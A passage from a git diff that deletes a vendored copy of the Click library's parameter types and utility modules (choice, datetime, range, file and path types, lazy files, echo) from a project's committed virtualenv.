to choices. See :ref:`choice-opts` for an example. - - :param case_sensitive: Set to false to make choices case - insensitive. Defaults to true. - - .. versionchanged:: 8.2.0 - Non-``str`` ``choices`` are now supported. It can additionally be any - iterable. Before you were not recommended to pass anything but a list or - tuple. - - .. versionadded:: 8.2.0 - Choice normalization can be overridden via :meth:`normalize_choice`. - """ - - name = "choice" - - def __init__( - self, choices: cabc.Iterable[ParamTypeValue], case_sensitive: bool = True - ) -> None: - self.choices: cabc.Sequence[ParamTypeValue] = tuple(choices) - self.case_sensitive = case_sensitive - - def to_info_dict(self) -> dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict["choices"] = self.choices - info_dict["case_sensitive"] = self.case_sensitive - return info_dict - - def _normalized_mapping( - self, ctx: Context | None = None - ) -> cabc.Mapping[ParamTypeValue, str]: - """ - Returns mapping where keys are the original choices and the values are - the normalized values that are accepted via the command line. - - This is a simple wrapper around :meth:`normalize_choice`, use that - instead which is supported. - """ - return { - choice: self.normalize_choice( - choice=choice, - ctx=ctx, - ) - for choice in self.choices - } - - def normalize_choice(self, choice: ParamTypeValue, ctx: Context | None) -> str: - """ - Normalize a choice value, used to map a passed string to a choice. - Each choice must have a unique normalized value. - - By default uses :meth:`Context.token_normalize_func` and if not case - sensitive, convert it to a casefolded value. - - .. versionadded:: 8.2.0 - """ - normed_value = choice.name if isinstance(choice, enum.Enum) else str(choice) - - if ctx is not None and ctx.token_normalize_func is not None: - normed_value = ctx.token_normalize_func(normed_value) - - if not self.case_sensitive: - normed_value = normed_value.casefold() - - return normed_value - - def get_metavar(self, param: Parameter, ctx: Context) -> str | None: - if param.param_type_name == "option" and not param.show_choices: # type: ignore - choice_metavars = [ - convert_type(type(choice)).name.upper() for choice in self.choices - ] - choices_str = "|".join([*dict.fromkeys(choice_metavars)]) - else: - choices_str = "|".join( - [str(i) for i in self._normalized_mapping(ctx=ctx).values()] - ) - - # Use curly braces to indicate a required argument. - if param.required and param.param_type_name == "argument": - return f"{{{choices_str}}}" - - # Use square braces to indicate an option or optional argument. - return f"[{choices_str}]" - - def get_missing_message(self, param: Parameter, ctx: Context | None) -> str: - """ - Message shown when no choice is passed. - - .. versionchanged:: 8.2.0 Added ``ctx`` argument. - """ - return _("Choose from:\n\t{choices}").format( - choices=",\n\t".join(self._normalized_mapping(ctx=ctx).values()) - ) - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> ParamTypeValue: - """ - For a given value from the parser, normalize it and find its - matching normalized value in the list of choices. Then return the - matched "original" choice. - """ - normed_value = self.normalize_choice(choice=value, ctx=ctx) - normalized_mapping = self._normalized_mapping(ctx=ctx) - - try: - return next( - original - for original, normalized in normalized_mapping.items() - if normalized == normed_value - ) - except StopIteration: - self.fail( - self.get_invalid_choice_message(value=value, ctx=ctx), - param=param, - ctx=ctx, - ) - - def get_invalid_choice_message(self, value: t.Any, ctx: Context | None) -> str: - """Get the error message when the given choice is invalid. - - :param value: The invalid value. - - .. versionadded:: 8.2 - """ - choices_str = ", ".join(map(repr, self._normalized_mapping(ctx=ctx).values())) - return ngettext( - "{value!r} is not {choice}.", - "{value!r} is not one of {choices}.", - len(self.choices), - ).format(value=value, choice=choices_str, choices=choices_str) - - def __repr__(self) -> str: - return f"Choice({list(self.choices)})" - - def shell_complete( - self, ctx: Context, param: Parameter, incomplete: str - ) -> list[CompletionItem]: - """Complete choices that start with the incomplete value. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - str_choices = map(str, self.choices) - - if self.case_sensitive: - matched = (c for c in str_choices if c.startswith(incomplete)) - else: - incomplete = incomplete.lower() - matched = (c for c in str_choices if c.lower().startswith(incomplete)) - - return [CompletionItem(c) for c in matched] - - -class DateTime(ParamType): - """The DateTime type converts date strings into `datetime` objects. - - The format strings which are checked are configurable, but default to some - common (non-timezone aware) ISO 8601 formats. - - When specifying *DateTime* formats, you should only pass a list or a tuple. - Other iterables, like generators, may lead to surprising results. - - The format strings are processed using ``datetime.strptime``, and this - consequently defines the format strings which are allowed. - - Parsing is tried using each format, in order, and the first format which - parses successfully is used. - - :param formats: A list or tuple of date format strings, in the order in - which they should be tried. Defaults to - ``'%Y-%m-%d'``, ``'%Y-%m-%dT%H:%M:%S'``, - ``'%Y-%m-%d %H:%M:%S'``. - """ - - name = "datetime" - - def __init__(self, formats: cabc.Sequence[str] | None = None): - self.formats: cabc.Sequence[str] = formats or [ - "%Y-%m-%d", - "%Y-%m-%dT%H:%M:%S", - "%Y-%m-%d %H:%M:%S", - ] - - def to_info_dict(self) -> dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict["formats"] = self.formats - return info_dict - - def get_metavar(self, param: Parameter, ctx: Context) -> str | None: - return f"[{'|'.join(self.formats)}]" - - def _try_to_convert_date(self, value: t.Any, format: str) -> datetime | None: - try: - return datetime.strptime(value, format) - except ValueError: - return None - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> t.Any: - if isinstance(value, datetime): - return value - - for format in self.formats: - converted = self._try_to_convert_date(value, format) - - if converted is not None: - return converted - - formats_str = ", ".join(map(repr, self.formats)) - self.fail( - ngettext( - "{value!r} does not match the format {format}.", - "{value!r} does not match the formats {formats}.", - len(self.formats), - ).format(value=value, format=formats_str, formats=formats_str), - param, - ctx, - ) - - def __repr__(self) -> str: - return "DateTime" - - -class _NumberParamTypeBase(ParamType): - _number_class: t.ClassVar[type[t.Any]] - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> t.Any: - try: - return self._number_class(value) - except ValueError: - self.fail( - _("{value!r} is not a valid {number_type}.").format( - value=value, number_type=self.name - ), - param, - ctx, - ) - - -class _NumberRangeBase(_NumberParamTypeBase): - def __init__( - self, - min: float | None = None, - max: float | None = None, - min_open: bool = False, - max_open: bool = False, - clamp: bool = False, - ) -> None: - self.min = min - self.max = max - self.min_open = min_open - self.max_open = max_open - self.clamp = clamp - - def to_info_dict(self) -> dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict.update( - min=self.min, - max=self.max, - min_open=self.min_open, - max_open=self.max_open, - clamp=self.clamp, - ) - return info_dict - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> t.Any: - import operator - - rv = super().convert(value, param, ctx) - lt_min: bool = self.min is not None and ( - operator.le if self.min_open else operator.lt - )(rv, self.min) - gt_max: bool = self.max is not None and ( - operator.ge if self.max_open else operator.gt - )(rv, self.max) - - if self.clamp: - if lt_min: - return self._clamp(self.min, 1, self.min_open) # type: ignore - - if gt_max: - return self._clamp(self.max, -1, self.max_open) # type: ignore - - if lt_min or gt_max: - self.fail( - _("{value} is not in the range {range}.").format( - value=rv, range=self._describe_range() - ), - param, - ctx, - ) - - return rv - - def _clamp(self, bound: float, dir: t.Literal[1, -1], open: bool) -> float: - """Find the valid value to clamp to bound in the given - direction. - - :param bound: The boundary value. - :param dir: 1 or -1 indicating the direction to move. - :param open: If true, the range does not include the bound. - """ - raise NotImplementedError - - def _describe_range(self) -> str: - """Describe the range for use in help text.""" - if self.min is None: - op = "<" if self.max_open else "<=" - return f"x{op}{self.max}" - - if self.max is None: - op = ">" if self.min_open else ">=" - return f"x{op}{self.min}" - - lop = "<" if self.min_open else "<=" - rop = "<" if self.max_open else "<=" - return f"{self.min}{lop}x{rop}{self.max}" - - def __repr__(self) -> str: - clamp = " clamped" if self.clamp else "" - return f"<{type(self).__name__} {self._describe_range()}{clamp}>" - - -class IntParamType(_NumberParamTypeBase): - name = "integer" - _number_class = int - - def __repr__(self) -> str: - return "INT" - - -class IntRange(_NumberRangeBase, IntParamType): - """Restrict an :data:`click.INT` value to a range of accepted - values. See :ref:`ranges`. - - If ``min`` or ``max`` are not passed, any value is accepted in that - direction. If ``min_open`` or ``max_open`` are enabled, the - corresponding boundary is not included in the range. - - If ``clamp`` is enabled, a value outside the range is clamped to the - boundary instead of failing. - - .. versionchanged:: 8.0 - Added the ``min_open`` and ``max_open`` parameters. - """ - - name = "integer range" - - def _clamp( # type: ignore - self, bound: int, dir: t.Literal[1, -1], open: bool - ) -> int: - if not open: - return bound - - return bound + dir - - -class FloatParamType(_NumberParamTypeBase): - name = "float" - _number_class = float - - def __repr__(self) -> str: - return "FLOAT" - - -class FloatRange(_NumberRangeBase, FloatParamType): - """Restrict a :data:`click.FLOAT` value to a range of accepted - values. See :ref:`ranges`. - - If ``min`` or ``max`` are not passed, any value is accepted in that - direction. If ``min_open`` or ``max_open`` are enabled, the - corresponding boundary is not included in the range. - - If ``clamp`` is enabled, a value outside the range is clamped to the - boundary instead of failing. This is not supported if either - boundary is marked ``open``. - - .. versionchanged:: 8.0 - Added the ``min_open`` and ``max_open`` parameters. - """ - - name = "float range" - - def __init__( - self, - min: float | None = None, - max: float | None = None, - min_open: bool = False, - max_open: bool = False, - clamp: bool = False, - ) -> None: - super().__init__( - min=min, max=max, min_open=min_open, max_open=max_open, clamp=clamp - ) - - if (min_open or max_open) and clamp: - raise TypeError("Clamping is not supported for open bounds.") - - def _clamp(self, bound: float, dir: t.Literal[1, -1], open: bool) -> float: - if not open: - return bound - - # Could use math.nextafter here, but clamping an - # open float range doesn't seem to be particularly useful. It's - # left up to the user to write a callback to do it if needed. - raise RuntimeError("Clamping is not supported for open bounds.") - - -class BoolParamType(ParamType): - name = "boolean" - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> t.Any: - if value in {False, True}: - return bool(value) - - norm = value.strip().lower() - - if norm in {"1", "true", "t", "yes", "y", "on"}: - return True - - if norm in {"0", "false", "f", "no", "n", "off"}: - return False - - self.fail( - _("{value!r} is not a valid boolean.").format(value=value), param, ctx - ) - - def __repr__(self) -> str: - return "BOOL" - - -class UUIDParameterType(ParamType): - name = "uuid" - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> t.Any: - import uuid - - if isinstance(value, uuid.UUID): - return value - - value = value.strip() - - try: - return uuid.UUID(value) - except ValueError: - self.fail( - _("{value!r} is not a valid UUID.").format(value=value), param, ctx - ) - - def __repr__(self) -> str: - return "UUID" - - -class File(ParamType): - """Declares a parameter to be a file for reading or writing. The file - is automatically closed once the context tears down (after the command - finished working). - - Files can be opened for reading or writing. The special value ``-`` - indicates stdin or stdout depending on the mode. - - By default, the file is opened for reading text data, but it can also be - opened in binary mode or for writing. The encoding parameter can be used - to force a specific encoding. - - The `lazy` flag controls if the file should be opened immediately or upon - first IO. The default is to be non-lazy for standard input and output - streams as well as files opened for reading, `lazy` otherwise. When opening a - file lazily for reading, it is still opened temporarily for validation, but - will not be held open until first IO. lazy is mainly useful when opening - for writing to avoid creating the file until it is needed. - - Files can also be opened atomically in which case all writes go into a - separate file in the same folder and upon completion the file will - be moved over to the original location. This is useful if a file - regularly read by other users is modified. - - See :ref:`file-args` for more information. - - .. versionchanged:: 2.0 - Added the ``atomic`` parameter. - """ - - name = "filename" - envvar_list_splitter: t.ClassVar[str] = os.path.pathsep - - def __init__( - self, - mode: str = "r", - encoding: str | None = None, - errors: str | None = "strict", - lazy: bool | None = None, - atomic: bool = False, - ) -> None: - self.mode = mode - self.encoding = encoding - self.errors = errors - self.lazy = lazy - self.atomic = atomic - - def to_info_dict(self) -> dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict.update(mode=self.mode, encoding=self.encoding) - return info_dict - - def resolve_lazy_flag(self, value: str | os.PathLike[str]) -> bool: - if self.lazy is not None: - return self.lazy - if os.fspath(value) == "-": - return False - elif "w" in self.mode: - return True - return False - - def convert( - self, - value: str | os.PathLike[str] | t.IO[t.Any], - param: Parameter | None, - ctx: Context | None, - ) -> t.IO[t.Any]: - if _is_file_like(value): - return value - - value = t.cast("str | os.PathLike[str]", value) - - try: - lazy = self.resolve_lazy_flag(value) - - if lazy: - lf = LazyFile( - value, self.mode, self.encoding, self.errors, atomic=self.atomic - ) - - if ctx is not None: - ctx.call_on_close(lf.close_intelligently) - - return t.cast("t.IO[t.Any]", lf) - - f, should_close = open_stream( - value, self.mode, self.encoding, self.errors, atomic=self.atomic - ) - - # If a context is provided, we automatically close the file - # at the end of the context execution (or flush out). If a - # context does not exist, it's the caller's responsibility to - # properly close the file. This for instance happens when the - # type is used with prompts. - if ctx is not None: - if should_close: - ctx.call_on_close(safecall(f.close)) - else: - ctx.call_on_close(safecall(f.flush)) - - return f - except OSError as e: - self.fail(f"'{format_filename(value)}': {e.strerror}", param, ctx) - - def shell_complete( - self, ctx: Context, param: Parameter, incomplete: str - ) -> list[CompletionItem]: - """Return a special completion marker that tells the completion - system to use the shell to provide file path completions. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - return [CompletionItem(incomplete, type="file")] - - -def _is_file_like(value: t.Any) -> te.TypeGuard[t.IO[t.Any]]: - return hasattr(value, "read") or hasattr(value, "write") - - -class Path(ParamType): - """The ``Path`` type is similar to the :class:`File` type, but - returns the filename instead of an open file. Various checks can be - enabled to validate the type of file and permissions. - - :param exists: The file or directory needs to exist for the value to - be valid. If this is not set to ``True``, and the file does not - exist, then all further checks are silently skipped. - :param file_okay: Allow a file as a value. - :param dir_okay: Allow a directory as a value. - :param readable: if true, a readable check is performed. - :param writable: if true, a writable check is performed. - :param executable: if true, an executable check is performed. - :param resolve_path: Make the value absolute and resolve any - symlinks. A ``~`` is not expanded, as this is supposed to be - done by the shell only. - :param allow_dash: Allow a single dash as a value, which indicates - a standard stream (but does not open it). Use - :func:`~click.open_file` to handle opening this value. - :param path_type: Convert the incoming path value to this type. If - ``None``, keep Python's default, which is ``str``. Useful to - convert to :class:`pathlib.Path`. - - .. versionchanged:: 8.1 - Added the ``executable`` parameter. - - .. versionchanged:: 8.0 - Allow passing ``path_type=pathlib.Path``. - - .. versionchanged:: 6.0 - Added the ``allow_dash`` parameter. - """ - - envvar_list_splitter: t.ClassVar[str] = os.path.pathsep - - def __init__( - self, - exists: bool = False, - file_okay: bool = True, - dir_okay: bool = True, - writable: bool = False, - readable: bool = True, - resolve_path: bool = False, - allow_dash: bool = False, - path_type: type[t.Any] | None = None, - executable: bool = False, - ): - self.exists = exists - self.file_okay = file_okay - self.dir_okay = dir_okay - self.readable = readable - self.writable = writable - self.executable = executable - self.resolve_path = resolve_path - self.allow_dash = allow_dash - self.type = path_type - - if self.file_okay and not self.dir_okay: - self.name: str = _("file") - elif self.dir_okay and not self.file_okay: - self.name = _("directory") - else: - self.name = _("path") - - def to_info_dict(self) -> dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict.update( - exists=self.exists, - file_okay=self.file_okay, - dir_okay=self.dir_okay, - writable=self.writable, - readable=self.readable, - allow_dash=self.allow_dash, - ) - return info_dict - - def coerce_path_result( - self, value: str | os.PathLike[str] - ) -> str | bytes | os.PathLike[str]: - if self.type is not None and not isinstance(value, self.type): - if self.type is str: - return os.fsdecode(value) - elif self.type is bytes: - return os.fsencode(value) - else: - return t.cast("os.PathLike[str]", self.type(value)) - - return value - - def convert( - self, - value: str | os.PathLike[str], - param: Parameter | None, - ctx: Context | None, - ) -> str | bytes | os.PathLike[str]: - rv = value - - is_dash = self.file_okay and self.allow_dash and rv in (b"-", "-") - - if not is_dash: - if self.resolve_path: - rv = os.path.realpath(rv) - - try: - st = os.stat(rv) - except OSError: - if not self.exists: - return self.coerce_path_result(rv) - self.fail( - _("{name} {filename!r} does not exist.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if not self.file_okay and stat.S_ISREG(st.st_mode): - self.fail( - _("{name} {filename!r} is a file.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - if not self.dir_okay and stat.S_ISDIR(st.st_mode): - self.fail( - _("{name} {filename!r} is a directory.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if self.readable and not os.access(rv, os.R_OK): - self.fail( - _("{name} {filename!r} is not readable.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if self.writable and not os.access(rv, os.W_OK): - self.fail( - _("{name} {filename!r} is not writable.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if self.executable and not os.access(value, os.X_OK): - self.fail( - _("{name} {filename!r} is not executable.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - return self.coerce_path_result(rv) - - def shell_complete( - self, ctx: Context, param: Parameter, incomplete: str - ) -> list[CompletionItem]: - """Return a special completion marker that tells the completion - system to use the shell to provide path completions for only - directories or any paths. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - type = "dir" if self.dir_okay and not self.file_okay else "file" - return [CompletionItem(incomplete, type=type)] - - -class Tuple(CompositeParamType): - """The default behavior of Click is to apply a type on a value directly. - This works well in most cases, except for when `nargs` is set to a fixed - count and different types should be used for different items. In this - case the :class:`Tuple` type can be used. This type can only be used - if `nargs` is set to a fixed number. - - For more information see :ref:`tuple-type`. - - This can be selected by using a Python tuple literal as a type. - - :param types: a list of types that should be used for the tuple items. - """ - - def __init__(self, types: cabc.Sequence[type[t.Any] | ParamType]) -> None: - self.types: cabc.Sequence[ParamType] = [convert_type(ty) for ty in types] - - def to_info_dict(self) -> dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict["types"] = [t.to_info_dict() for t in self.types] - return info_dict - - @property - def name(self) -> str: # type: ignore - return f"<{' '.join(ty.name for ty in self.types)}>" - - @property - def arity(self) -> int: # type: ignore - return len(self.types) - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> t.Any: - len_type = len(self.types) - len_value = len(value) - - if len_value != len_type: - self.fail( - ngettext( - "{len_type} values are required, but {len_value} was given.", - "{len_type} values are required, but {len_value} were given.", - len_value, - ).format(len_type=len_type, len_value=len_value), - param=param, - ctx=ctx, - ) - - return tuple( - ty(x, param, ctx) for ty, x in zip(self.types, value, strict=False) - ) - - -def convert_type(ty: t.Any | None, default: t.Any | None = None) -> ParamType: - """Find the most appropriate :class:`ParamType` for the given Python - type. If the type isn't provided, it can be inferred from a default - value. - """ - guessed_type = False - - if ty is None and default is not None: - if isinstance(default, (tuple, list)): - # If the default is empty, ty will remain None and will - # return STRING. - if default: - item = default[0] - - # A tuple of tuples needs to detect the inner types. - # Can't call convert recursively because that would - # incorrectly unwind the tuple to a single type. - if isinstance(item, (tuple, list)): - ty = tuple(map(type, item)) - else: - ty = type(item) - else: - ty = type(default) - - guessed_type = True - - if isinstance(ty, tuple): - return Tuple(ty) - - if isinstance(ty, ParamType): - return ty - - if ty is str or ty is None: - return STRING - - if ty is int: - return INT - - if ty is float: - return FLOAT - - if ty is bool: - return BOOL - - if guessed_type: - return STRING - - if __debug__: - try: - if issubclass(ty, ParamType): - raise AssertionError( - f"Attempted to use an uninstantiated parameter type ({ty})." - ) - except TypeError: - # ty is an instance (correct), so issubclass fails. - pass - - return FuncParamType(ty) - - -#: A dummy parameter type that just does nothing. From a user's -#: perspective this appears to just be the same as `STRING` but -#: internally no string conversion takes place if the input was bytes. -#: This is usually useful when working with file paths as they can -#: appear in bytes and unicode. -#: -#: For path related uses the :class:`Path` type is a better choice but -#: there are situations where an unprocessed type is useful which is why -#: it is is provided. -#: -#: .. versionadded:: 4.0 -UNPROCESSED = UnprocessedParamType() - -#: A unicode string parameter type which is the implicit default. This -#: can also be selected by using ``str`` as type. -STRING = StringParamType() - -#: An integer parameter. This can also be selected by using ``int`` as -#: type. -INT = IntParamType() - -#: A floating point value parameter. This can also be selected by using -#: ``float`` as type. -FLOAT = FloatParamType() - -#: A boolean parameter. This is the default for boolean flags. This can -#: also be selected by using ``bool`` as a type. -BOOL = BoolParamType() - -#: A UUID parameter. -UUID = UUIDParameterType() - - -class OptionHelpExtra(t.TypedDict, total=False): - envvars: tuple[str, ...] - default: str - range: str - required: str diff --git a/backend/venv/Lib/site-packages/click/utils.py b/backend/venv/Lib/site-packages/click/utils.py deleted file mode 100644 index ab2fe588..00000000 --- a/backend/venv/Lib/site-packages/click/utils.py +++ /dev/null @@ -1,627 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import os -import re -import sys -import typing as t -from functools import update_wrapper -from types import ModuleType -from types import TracebackType - -from ._compat import _default_text_stderr -from ._compat import _default_text_stdout -from ._compat import _find_binary_writer -from ._compat import auto_wrap_for_ansi -from ._compat import binary_streams -from ._compat import open_stream -from ._compat import should_strip_ansi -from ._compat import strip_ansi -from ._compat import text_streams -from ._compat import WIN -from .globals import resolve_color_default - -if t.TYPE_CHECKING: - import typing_extensions as te - - P = te.ParamSpec("P") - -R = t.TypeVar("R") - - -def _posixify(name: str) -> str: - return "-".join(name.split()).lower() - - -def safecall(func: t.Callable[P, R]) -> t.Callable[P, R | None]: - """Wraps a function so that it swallows exceptions.""" - - def wrapper(*args: P.args, **kwargs: P.kwargs) -> R | None: - try: - return func(*args, **kwargs) - except Exception: - pass - return None - - return update_wrapper(wrapper, func) - - -def make_str(value: t.Any) -> str: - """Converts a value into a valid string.""" - if isinstance(value, bytes): - try: - return value.decode(sys.getfilesystemencoding()) - except UnicodeError: - return value.decode("utf-8", "replace") - return str(value) - - -def make_default_short_help(help: str, max_length: int = 45) -> str: - """Returns a condensed version of help string.""" - # Consider only the first paragraph. - paragraph_end = help.find("\n\n") - - if paragraph_end != -1: - help = help[:paragraph_end] - - # Collapse newlines, tabs, and spaces. - words = help.split() - - if not words: - return "" - - # The first paragraph started with a "no rewrap" marker, ignore it. - if words[0] == "\b": - words = words[1:] - - total_length = 0 - last_index = len(words) - 1 - - for i, word in enumerate(words): - total_length += len(word) + (i > 0) - - if total_length > max_length: # too long, truncate - break - - if word[-1] == ".": # sentence end, truncate without "..." - return " ".join(words[: i + 1]) - - if total_length == max_length and i != last_index: - break # not at sentence end, truncate with "..." - else: - return " ".join(words) # no truncation needed - - # Account for the length of the suffix. - total_length += len("...") - - # remove words until the length is short enough - while i > 0: - total_length -= len(words[i]) + (i > 0) - - if total_length <= max_length: - break - - i -= 1 - - return " ".join(words[:i]) + "..." - - -class LazyFile: - """A lazy file works like a regular file but it does not fully open - the file but it does perform some basic checks early to see if the - filename parameter does make sense. This is useful for safely opening - files for writing. - """ - - def __init__( - self, - filename: str | os.PathLike[str], - mode: str = "r", - encoding: str | None = None, - errors: str | None = "strict", - atomic: bool = False, - ): - self.name: str = os.fspath(filename) - self.mode = mode - self.encoding = encoding - self.errors = errors - self.atomic = atomic - self._f: t.IO[t.Any] | None - self.should_close: bool - - if self.name == "-": - self._f, self.should_close = open_stream(filename, mode, encoding, errors) - else: - if "r" in mode: - # Open and close the file in case we're opening it for - # reading so that we can catch at least some errors in - # some cases early. - open(filename, mode).close() - self._f = None - self.should_close = True - - def __getattr__(self, name: str) -> t.Any: - return getattr(self.open(), name) - - def __repr__(self) -> str: - if self._f is not None: - return repr(self._f) - return f"" - - def open(self) -> t.IO[t.Any]: - """Opens the file if it's not yet open. This call might fail with - a :exc:`FileError`. Not handling this error will produce an error - that Click shows. - """ - if self._f is not None: - return self._f - try: - rv, self.should_close = open_stream( - self.name, self.mode, self.encoding, self.errors, atomic=self.atomic - ) - except OSError as e: - from .exceptions import FileError - - raise FileError(self.name, hint=e.strerror) from e - self._f = rv - return rv - - def close(self) -> None: - """Closes the underlying file, no matter what.""" - if self._f is not None: - self._f.close() - - def close_intelligently(self) -> None: - """This function only closes the file if it was opened by the lazy - file wrapper. For instance this will never close stdin. - """ - if self.should_close: - self.close() - - def __enter__(self) -> LazyFile: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> None: - self.close_intelligently() - - def __iter__(self) -> cabc.Iterator[t.AnyStr]: - self.open() - return iter(self._f) # type: ignore - - -class KeepOpenFile: - def __init__(self, file: t.IO[t.Any]) -> None: - self._file: t.IO[t.Any] = file - - def __getattr__(self, name: str) -> t.Any: - return getattr(self._file, name) - - def __enter__(self) -> KeepOpenFile: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> None: - pass - - def __repr__(self) -> str: - return repr(self._file) - - def __iter__(self) -> cabc.Iterator[t.AnyStr]: - return iter(self._file) - - -def echo( - message: t.Any | None = None, - file: t.IO[t.Any] | None = None, - nl: bool = True, - err: bool = False, - color: bool | None = None, -) -> None: - """Print a message and newline to stdout or a file. This should be - used instead of :func:`print` because it provides better support - for different data, files, and environments. - - Compared to :func:`print`, this does the following: - - - Ensures that the output encoding is not misconfigured on Linux. - - Supports Unicode in the Windows console. - - Supports writing to binary outputs, and supports writing bytes - to text outputs. - - Supports colors and styles on Windows. - - Removes ANSI color and style codes if the output does not look - like an interactive terminal. - - Always flushes the output. - - :param message: The string or bytes to output. Other objects are - converted to strings. - :param file: The file to write to. Defaults to ``stdout``. - :param err: Write to ``stderr`` instead of ``stdout``. - :param nl: Print a newline after the message. Enabled by default. - :param color: Force showing or hiding colors and other styles. By - default Click will remove color if the output does not look like - an interactive terminal. - - .. versionchanged:: 6.0 - Support Unicode output on the Windows console. Click does not - modify ``sys.stdout``, so ``sys.stdout.write()`` and ``print()`` - will still not support Unicode. - - .. versionchanged:: 4.0 - Added the ``color`` parameter. - - .. versionadded:: 3.0 - Added the ``err`` parameter. - - .. versionchanged:: 2.0 - Support colors on Windows if colorama is installed. - """ - if file is None: - if err: - file = _default_text_stderr() - else: - file = _default_text_stdout() - - # There are no standard streams attached to write to. For example, - # pythonw on Windows. - if file is None: - return - - # Convert non bytes/text into the native string type. - if message is not None and not isinstance(message, (str, bytes, bytearray)): - out: str | bytes | None = str(message) - else: - out = message - - if nl: - out = out or "" - if isinstance(out, str): - out += "\n" - else: - out += b"\n" - - if not out: - file.flush() - return - - # If there is a message and the value looks like bytes, we manually - # need to find the binary stream and write the message in there. - # This is done separately so that most stream types will work as you - # would expect. Eg: you can write to StringIO for other cases. - if isinstance(out, (bytes, bytearray)): - binary_file = _find_binary_writer(file) - - if binary_file is not None: - file.flush() - binary_file.write(out) - binary_file.flush() - return - - # ANSI style code support. For no message or bytes, nothing happens. - # When outputting to a file instead of a terminal, strip codes. - else: - color = resolve_color_default(color) - - if should_strip_ansi(file, color): - out = strip_ansi(out) - elif WIN: - if auto_wrap_for_ansi is not None: - file = auto_wrap_for_ansi(file, color) # type: ignore - elif not color: - out = strip_ansi(out) - - file.write(out) # type: ignore - file.flush() - - -def get_binary_stream(name: t.Literal["stdin", "stdout", "stderr"]) -> t.BinaryIO: - """Returns a system stream for byte processing. - - :param name: the name of the stream to open. Valid names are ``'stdin'``, - ``'stdout'`` and ``'stderr'`` - """ - opener = binary_streams.get(name) - if opener is None: - raise TypeError(f"Unknown standard stream '{name}'") - return opener() - - -def get_text_stream( - name: t.Literal["stdin", "stdout", "stderr"], - encoding: str | None = None, - errors: str | None = "strict", -) -> t.TextIO: - """Returns a system stream for text processing. This usually returns - a wrapped stream around a binary stream returned from - :func:`get_binary_stream` but it also can take shortcuts for already - correctly configured streams. - - :param name: the name of the stream to open. Valid names are ``'stdin'``, - ``'stdout'`` and ``'stderr'`` - :param encoding: overrides the detected default encoding. - :param errors: overrides the default error mode. - """ - opener = text_streams.get(name) - if opener is None: - raise TypeError(f"Unknown standard stream '{name}'") - return opener(encoding, errors) - - -def open_file( - filename: str | os.PathLike[str], - mode: str = "r", - encoding: str | None = None, - errors: str | None = "strict", - lazy: bool = False, - atomic: bool = False, -) -> t.IO[t.Any]: - """Open a file, with extra behavior to handle ``'-'`` to indicate - a standard stream, lazy open on write, and atomic write. Similar to - the behavior of the :class:`~click.File` param type. - - If ``'-'`` is given to open ``stdout`` or ``stdin``, the stream is - wrapped so that using it in a context manager will not close it. - This makes it possible to use the function without accidentally - closing a standard stream: - - .. code-block:: python - - with open_file(filename) as f: - ... - - :param filename: The name or Path of the file to open, or ``'-'`` for - ``stdin``/``stdout``. - :param mode: The mode in which to open the file. - :param encoding: The encoding to decode or encode a file opened in - text mode. - :param errors: The error handling mode. - :param lazy: Wait to open the file until it is accessed. For read - mode, the file is temporarily opened to raise access errors - early, then closed until it is read again. - :param atomic: Write to a temporary file and replace the given file - on close. - - .. versionadded:: 3.0 - """ - if lazy: - return t.cast( - "t.IO[t.Any]", LazyFile(filename, mode, encoding, errors, atomic=atomic) - ) - - f, should_close = open_stream(filename, mode, encoding, errors, atomic=atomic) - - if not should_close: - f = t.cast("t.IO[t.Any]", KeepOpenFile(f)) - - return f - - -def format_filename( - filename: str | bytes | os.PathLike[str] | os.PathLike[bytes], - shorten: bool = False, -) -> str: - """Format a filename as a string for display. Ensures the filename can be - displayed by replacing any invalid bytes or surrogate escapes in the name - with the replacement character ``�``. - - Invalid bytes or surrogate escapes will raise an error when written to a - stream with ``errors="strict"``. This will typically happen with ``stdout`` - when the locale is something like ``en_GB.UTF-8``. - - Many scenarios *are* safe to write surrogates though, due to PEP 538 and - PEP 540, including: - - - Writing to ``stderr``, which uses ``errors="backslashreplace"``. - - The system has ``LANG=C.UTF-8``, ``C``, or ``POSIX``. Python opens - stdout and stderr with ``errors="surrogateescape"``. - - None of ``LANG/LC_*`` are set. Python assumes ``LANG=C.UTF-8``. - - Python is started in UTF-8 mode with ``PYTHONUTF8=1`` or ``-X utf8``. - Python opens stdout and stderr with ``errors="surrogateescape"``. - - :param filename: formats a filename for UI display. This will also convert - the filename into unicode without failing. - :param shorten: this optionally shortens the filename to strip of the - path that leads up to it. - """ - if shorten: - filename = os.path.basename(filename) - else: - filename = 